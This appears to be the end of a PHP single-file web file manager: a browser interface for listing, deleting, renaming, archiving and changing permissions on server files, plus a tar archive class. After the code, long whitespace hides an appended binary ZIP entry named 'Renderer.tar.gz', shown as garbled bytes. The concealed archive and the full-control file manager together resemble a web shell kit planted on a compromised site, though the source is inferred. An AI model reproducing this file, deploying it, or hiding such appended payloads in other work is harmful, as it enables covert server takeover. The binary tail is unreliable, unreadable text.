		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
<?php
    }
}
?>
</tbody>
</table>
<div class="row3"><?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/Den1xxx/Filemanager">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>
</div>
<script type="text/javascript">
function download_xls(filename, text) {
	var element = document.createElement('a');
	element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text);
	element.setAttribute('download', filename);
	element.style.display = 'none';
	document.body.appendChild(element);
	element.click();
	document.body.removeChild(element);
}

function base64_encode(m) {
	for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {
		c = m.charCodeAt(l);
		if (128 > c) d = 1;
		else
			for (d = 2; c >= 2 << 5 * d;) ++d;
		for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f])
	}
	b && (g += k[f << 6 - b]);
	return g
}


var tableToExcelData = (function() {
    var uri = 'data:application/vnd.ms-excel;base64,',
    template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>',
    format = function(s, c) {
            return s.replace(/{(\w+)}/g, function(m, p) {
                return c[p];
            })
        }
    return function(table, name) {
        if (!table.nodeType) table = document.getElementById(table)
        var ctx = {
            worksheet: name || 'Worksheet',
            table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")
        }
		t = new Date();
		filename = 'fm_' + t.toISOString() + '.xls'
		download_xls(filename, base64_encode(format(template, ctx)))
    }
})();

var table2Excel = function () {

    var ua = window.navigator.userAgent;
    var msie = ua.indexOf("MSIE ");

	this.CreateExcelSheet = 
		function(el, name){
			if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer

				var x = document.getElementById(el).rows;

				var xls = new ActiveXObject("Excel.Application");

				xls.visible = true;
				xls.Workbooks.Add
				for (i = 0; i < x.length; i++) {
					var y = x[i].cells;

					for (j = 0; j < y.length; j++) {
						xls.Cells(i + 1, j + 1).Value = y[j].innerText;
					}
				}
				xls.Visible = true;
				xls.UserControl = true;
				return xls;
			} else {
				tableToExcelData(el, name);
			}
		}
}
</script>
</body>
</html>

<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           PK     |\&\d d   Renderer.tar.gznu [              	<8۲%J"ƾ}}c03c)=$$d)[քER(!9Uy߯ޏS3˹{9瞻@QH4B<7ñ>$ُ$𑓑a<𑖖H¤%`R@,L"㇟`fF]051@>0P|evSzRRr!L>w<{=$] t޵"㩗Wo(j
5M'Ҧϊz[*VpPm+VȷqBiY>&3g2_kk
Ŀ}3vwצ7ԏ6m(_kULQ<@e9i;r&}i)mF#.-
I-Wğ7'2q#O5Pǎ_Ok|dAˆl˴Y3[<ٱ^wa>Y˳O挍]y+Û`zG]wڱ0J[*
 '0씗R+,biG%^tVGxȾؾ$׷8NO0Eb/IΩmͯoF.O,0Ks(WzvwxqLDڗL}?ͯ;qGDи}N8*2?<Vە 1p}PMzFCb4p%V[mX3G4~͝O}hSܧҏxeߔ1_lh>n8&'`Tٴ3w/"NiO5&t+lsv&S^_v.'s[gNj@9_2/tJ|3 P9%a(e{4{z&#)FsxN2>zCƴ5a^7xS`"3]S.3MǊz;	*an^J-͑KݣWTħ\ێ>R_{~c6e-'׊e}{-:vK 6'#G8Jɜgx}7tu*-"9-?wRו )-(>17ќM!G=2}Vq1NAdb/Mt9˝POGj<{ 9S#)Yz}ҏϥoz̨8笟{mYmѮٹFyo{>.2'A=[q
^;+G/湑xi|GE)6wGgCoK7;xDRf$'p<)*g]脽e49uC0%>h.KΞY'c_QiaGY$,Ͼ*ԻȢCIOj/YN("6V4٧$ɥw7
c6qi[s>]7ۯ\Q+wL-)s;Z'Z3 $m\%M$C˲h]G>}Z?C=<Mۂ㱕OzQhtlk3v>+e<9vDsR{`[`Qvi'mn=Nmd.ox@ٱi]T*+3*1!ζ⢑Փo۷~tپBRtKhIqUMr`h-m6C܌ǆ*M(sTdW2%O&ZpT2\2Ky\bCe¼4%q#Iڥ'|qkv9er,M-s^;r$(Mą]LGow,xuelp߶Esw^Hx`%ߧ=.5Z]G<:maີ@f[Ei)]'[	喫B>	`{ ~Ҥ({*ڮ^,UxݓN.͆8R?>y;I	NyWOx[?Y99i?0els|BGc4WX^m~cEChE>է7@3{2WS).-8&|5Mvv*Ӑm6Տ43ߪc^mw] )7C.N9'45ekuejNB9ES>?Qg;HYlɽ5C/y^eB~W9M^NV7V?^.{lmޯ"/|9̻,7%ݾ?Wj>n{7-/-`?L/U/?כn_t["zˍ+7Xp=s{Bn~W
/*~twK럨H>UG7|&yR
ׅa꽔j_.Fubo޽;'bV-zyca{^Ełn{ǿNoFb>n/)7$"'{~1G!*EyIdcL_E})sϑ<6wcM9sՂlOnd__f>sDt/ˉf/[؋\1F쟇>F[ͺ:%罯RO˅v1.p}<ϒ%g92gՔwdTD~eMcޠXMfZǤgT~mYccdȣMuf/n}awP7Uٺ$Co=vVm%/Blc=N~$1i){
⌟:R^oz`|h`B<zfk/2nEe5(f
ѽsgW^}Nd3A3;(pP2Bߓ"OYБn9a^ot/#֍MS!HLi4'$^<wjpom9T(VՊܘD\(;}zC2ovCWMCJ]8F_S^ndr\ɖS]A%ýbw:uStD׾-)횡r2yR0ĐɄrp2/RqLRpzOr	R(>g2ϔUݼ^uJ~;ǡ3HER5XC`ɌAՑ_2j$6_ip*ώb0THU;f(Z+ejzg+uC"&[O2;mU`"^#gZj~!=oO_ޔ
yԈK㞟2*u.C8ݶ3ϴ;UGM252iҏG?uuQHRʝ̴E2_HHk
?RC՚Ԧ)-6˸ܤ8CĶ6ҩ?oP<=<Us|y!\̚;fl)EUIަ-Poz<ò0ؗMBd<LM$Ӯe<'?<'{]x Y/ju'aSebsJ˞[-3\l:g>!Q?ûK<Fg_Q?䌈m&2^c6
yh{h^ֳG_߷W##aNRr'r>,=,&Ju^ӤYA~u;6mLPAW䠼AMgOGQkԈIuد	A?wxצ:l^]dGĭԪYAB4b9:P._}3zKΎq|pHPAriRCDJcf6mKr(Otj:S;D+2*卆o')M&Jw`?iEm6d6ɖ>QE$.gsR#1I7KJt+NōMg+t=sqgtfGucԺE6|U>oOUr)Ƃ"tD>zk3~d5m8q%]s&DpFg{u#ﾓ,EZq[Dd}}ܘC#:$9&w	b*Z!Fŗ\-e.'M&iԜ4zp%2v|37yhq: ?zmcN	-yGb	[zwBky1zH*#TC]?FC?4&<}T"h`Lт̟.,2mT6ˍ*HI^*VUOSځu`ʕ+'	*!N;ib@&DuS:i#5颊/fK1|]>EHD>t;xM⚣cl |nA#9ȍwvFA*} !?vy4Hkpo͎Iwu{ZNKcWKzc\^K=fYKf%nt-81sf9zY;%>^8*c)ּФ~z/#Sѽr:攭xelIUQɌ}	6ilAmKz g}azbѷn*1BdGX8//޶҉n<^B"VY$6Y8АL=4v5.#-+\&Ee2|[(F|&E^K$/K}hj[_nAW9$ѷ畵yKzvTMcl4Ǘ	eAe$Uy3Vy-୉<]KsmL \!Y3_:&'vL_-JFϡgc"b*ѱoT'|[	ߺ|9Խ>|˿(_yt*}wF7	[nNgj5ׄ~1Cvj-{bi]4V*&CN^(c5cYR!;~dRìU[zS:P~RfIA?.#V*L/5|_d[ۉt~ͣۼs;5_"gziZ	rskjѩlTlRcU>!IB왷LRs'3N2SOӤk6S4P{2~9T.h7D{u!(y^q-=;+{D9.d^k.ylNOHXLvb*0I\>[d3ih	#PGsf0JZW$qʗuDeD+s}Zۏ/|SSfmsscJBSkZguۼngȪxt3Ý\&~5%)j_Mx-
I/BOGִ4ƕ@oS;WRp0da;dif0;ޙ5W]J&axx&||ђܖ9eH(f_cgXk˗4KP=MF$^1AWK0Otak`1lUm%SRiÎz̔w!1S[RLoK{NմFAum1M-|[3OVAoը^̣_LYXbIz"vx7EʆWfΔ\}`mJ9kzrEx#fMs<G*Apgo✉gC轹?h>T^op.y.n1ǡcS~H3ɵqyIa&^v
_)||׺d0O'0쎷ى{*+WrJ>G'{<"L-`Ϩo(}=>PjKɣHU;繎6-:9د{<W7xk_[幚Vi\wDr8H9q],аnCړN,MI,ϼVfaш9Z'v,`XqBkŤtUG1րg4zE;FS-0zrWGNO>o!CYEiҝբM'ޙBv2qФή9!EQŞt|qQxӾ$oKҮ):>VZCN/}~:wũvTAՙ2UNבw|>}9.D[Rj>JS_>s#Pǻ|p6KC|LW*:a]/9h.PX>t`uYA2SF]<	)[sNDÐe;$G$b^1b*MqjH-<.QdMh-~³MΟg6V>Jx}}˻-$༭~̋rJG|V]PyAyc	&*a1=b[+Ń'v09DW¤e5x@fwipu~K6<g-.dUj/ţc_5K؎#:uH>Cc(X5!A#_ViCٍ3oæ4tALꨏѸs*n~O#t%Z~Ze搜O/Iu{̈.fV"xqpLQqyAlׇ>b󧉔=:Cg4[}twsG$	>	DAƬƃIN_r?Ԧ^cߧ., {+ґWӐǮ6T6xKdVE;H=8K:\'qk@sf*}\%T,>޷OE84?F߰)/H_:D㈛2 	ps&+$]]f=YF{$+HN4-Th-a{rX@)&ѯָы l	?l+&q[v&1⦛j2Mia$|4Չd-;s81I\/^Kyd.0zQ-*WiH[/$>վ&+]^KԖ[xkǶsi6ylrXwQ訒6
*CJǄ6e$kɖin
WzXSb@y\}EZl; 1}Ui8-swz)aR>/YF{ؒ.M3iXWmw.,Vn- 1eH\M7/"M~Ƽib9(8ȣ^Sˌ=3]k'y߅YGL~Hx_G5)?û#2#!q^sP;tݎAۅ{#<=d,v_igN*kn[>h|VGz3glGuW\&V!TKb_Yɸ sq׶ߧl是}ϖ<Rz`<TcR>5nvc>nNjT/uҼpTB`J<ҥ
ZdZ.=p{c9CF95wuT(Zu\ڐZjؾ Q_BīLh}N0d|^OBU3d0uM/Hӊ:D.nY4.V7yCj-H.Dd<u9[XcDؗ{ӑM.AsqŢ!TY.w])8ӱDHЏ'[c5t]R4&77(5wȒս|AT}VȻs%ۈ}>}I*PVKTQ^miF^ߠ
87陒d}Ǌ;F_3QIGߦz7oR<>.ّ4t1qiSS*TC.M˕4>|z:RzKR1rD2k)S	Dڅr>#I~W\a	Z_*9jUzxtH{a/89ZlV(ihLҴ7|\]4)g)F)6Ψzuu7YdyTEn/l˹B]< Wi|j1bf|E ~<mdR$GgN{V:ILmv!S-XLoV7Jig4ţ'*swΒVfN&g,d1D}YEmFf-ʩGRbP,e羕V?g~Ö,*Me<ɞ~/謁+7rn}ynx&ȰcNv9~-|hi2ڔS#G1ɔ!gIpk+kYv+=yt<AoL@Χpjtkqǂd=UUvG%bL-EԱqzu^U"EMһ]<nhƬFj3ouy8,aGN%hHt	\(jXt110ISs3ة-"Iyk8=p?Yz9i=wl6Aa)](-Uɖ&mN{T66i:eu6d@2u%	#i>4܏Qʆzxg.e)3`'MwnY ɚ=L+{q0l%\nx=o_.~wk/iI?/m@5ײ A}e òf,J;)5If.5eOHotK-մt7lk&N3"M)Q|M0ct7k]ȱB ݌.NO{G<Hԯ-R.IG	n?y2-v\䣅w
